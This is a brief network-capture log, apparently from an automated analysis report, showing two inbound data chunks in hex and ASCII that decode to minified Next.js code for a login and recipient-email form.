2025-04-02 23:18:17 UTC	929	IN	Data Raw: 65 3a 65 3d 3e 69 28 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 69 6e 70 75 74 2c 72 65 71 75 69 72 65 64 3a 21 30 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 62 75 74 74 6f 6e 22 2c 7b 74 79 70 65 3a 22 73 75 62 6d 69 74 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 62 75 74 74 6f 6e 2c 63 68 69 6c 64 72 65 6e 3a 22 4c 6f 67 69 6e 22 7d 29 5d 7d 29 5d 7d 29 3a 28 30 2c 61 2e 6a 73 78 73 29 28 22 66 6f 72 6d 22 2c 7b 6f 6e 53 75 62 6d 69 74 3a 62 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 65 6d 61 69 6c 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 22 45 6e 74 65 72 20 72 65 63 69 70 69 65 6e 74 20 65 6d 61 69 6c 22 2c 76 61 6c 75 65 3a 65 2c 6f 6e Data Ascii: e:e=>i(e.target.value),className:c().input,required:!0}),(0,a.jsx)("button",{type:"submit",className:c().button,children:"Login"})]})]}):(0,a.jsxs)("form",{onSubmit:b,children:[(0,a.jsx)("input",{type:"email",placeholder:"Enter recipient email",value:e,on
2025-04-02 23:18:17 UTC	136	IN	Data Raw: 3a 22 49 6e 64 65 78 5f 69 6e 70 75 74 5f 5f 34 42 39 56 37 22 2c 62 75 74 74 6f 6e 3a 22 49 6e 64 65 78 5f 62 75 74 74 6f 6e 5f 5f 51 52 31 43 4d 22 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4f 28 30 2c 5b 37 37 34 2c 31 38 36 2c 38 38 38 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 65 2e 73 3d 35 35 35 37 29 7d 29 2c 5f 4e 5f 45 3d 65 2e 4f 28 29 7d 5d 29 3b Data Ascii: :"Index_input__4B9V7",button:"Index_button__QR1CM"}}},function(e){e.O(0,[774,186,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);